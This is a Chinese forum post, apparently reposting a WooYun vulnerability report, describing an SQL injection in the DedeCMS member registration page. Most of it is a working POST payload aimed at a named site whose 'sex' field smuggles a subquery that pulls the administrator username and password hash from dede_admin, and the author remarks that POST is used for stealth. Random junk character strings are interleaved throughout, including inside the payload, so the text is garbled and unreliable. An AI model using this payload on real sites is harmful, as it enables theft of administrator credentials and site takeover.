漏洞类型： SQL注射漏洞, o0 |* e# A* x) S0 E/ h
简要描述：- s6 I! ^/ T8 E' e* {; S0 W1 e% D
/ r L% W: f3 y! E- V, H" c" S! l' T* g
需要magic_quotes_gpc=Off,应该是没有什么大危害的漏洞.
+ n" r+ G, c" f; J9 t9 P原来在wooyun发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
0 v, Z; |" _1 v详细说明：跟这个漏洞
6 y G9 W9 P8 r- [1 A, m4 X( R' \ 7 z4 ]( u4 n3 e. X
WooYun: Dedecms SQL注射导致审核机制绕过漏洞4 O( F, a3 f; n5 D2 ^
是一个漏洞.其实不仅仅是审核机制绕过,可以获得管理员密码的.
" y7 v/ D4 ^; ?8 {% `- k2 GPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
4 K- [6 `& t1 Q/ d8 X% J . [" t: _/ B4 D2 S) x8 z9 o
www.political-security.com/member/reg_new.php
3 H: V1 P4 @' X q 6 `4 v @# h, _. _! M N% V" v
POST G. n! t' N8 o+ W
6 T( c$ B8 B, Y, Y8 c6 J3 q, bdopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&" ^ @0 Y) R, z
userid=c4rp3nt3r&uname=c4rp3nt3r
/ q( }* m8 P4 {3 f8 I&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss6 H! J% S$ q1 S' I1 w9 h
&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,9 f" b) }- p) E$ A _: O) n9 W
(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');
2 T6 E& \/ H& S8 V% ?, ~%00&vdcode=glos&agree= |
发表于 2013-1-19 08:25:02
收藏
支持
反对